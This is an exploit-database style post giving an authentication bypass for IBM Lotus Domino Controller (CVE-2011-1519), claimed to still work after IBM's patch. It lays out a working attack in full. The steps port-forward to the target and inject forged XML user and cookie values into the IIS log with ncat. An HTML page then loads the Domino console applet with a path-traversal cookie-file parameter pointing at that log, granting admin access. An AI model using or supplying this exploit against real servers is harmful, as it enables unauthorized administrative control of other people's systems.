IBM Lotus Domino Server Controller – Authentication Bypass
# Exploit Title: IBM Lotus Domino Controller auth. bypass # Date:30/11/2011 # Author: Alexey Sintsov # Software Link: http://www.ibm.com/ # Version:8.5.3/8.5.2 FP3 (0day) # Tested on: Windows 7 / Windows 2008 # CVE : CVE-2011-1519 Application: IBM Lotus Domino Controller Versions Affected: <=8.5.2 FP3, <=8.5.3 Manager 4.0 prior to Update 4 (0day) Vendor URL: http://ibm.com Bug: own XML parser CVE: CVE-2011-1519 CVSS2: 9.0 Exploits: YES Reported:2010-09-23 via ZDI Date of Public Advisory: 2011-03-22 Authors: Alexey Sintsov Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com) This bug was found by Patrik Karlsson and sold to ZDI. IBM make fix for this bug, but not enough. So this sploit can make auth. bypass in Lotus Domino Controller even with patch from IBM. So still 0day. Details you can read there: http://dsecrg.com/pages/pub/show.php?id=41 EXPLOIT: 1. Make port-fwd from 127.0.0.1:2050 to REMOTE_TARGET:2050 2. Inject XML into IIS log file (for an example) ncat targethost 49152 GET /<user HTTP/1.0\r\n\r\n ncat targethost 49152 GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0\r\n\r\n (\r\n\r\n) ENTER two times 8) 3.Run this from local web-server (dconsole.jar - IBM Lotus Domino Console applet) <html> <body> <script> function onLoadConsole() { alert("Connected"); } </script> <applet name = "DominoConsole" code = "lotus.domino.console.DominoConsoleApplet.class" codebase = "http://127.0.0.1/domjava/" archive = "dconsole.jar" width = "100%" height = "99%" > <PARAM NAME="debug" VALUE="true"> <PARAM NAME="port" VALUE="2050"> <PARAM NAME="useraddress" VALUE="http://twitter/asintsov"> <PARAM NAME="username" VALUE="admin"> <PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log"> <PARAM NAME="cookievalue" VALUE="pass"> <PARAM NAME="onLoad" VALUE="onLoadConsole"> </applet> </body> </html> |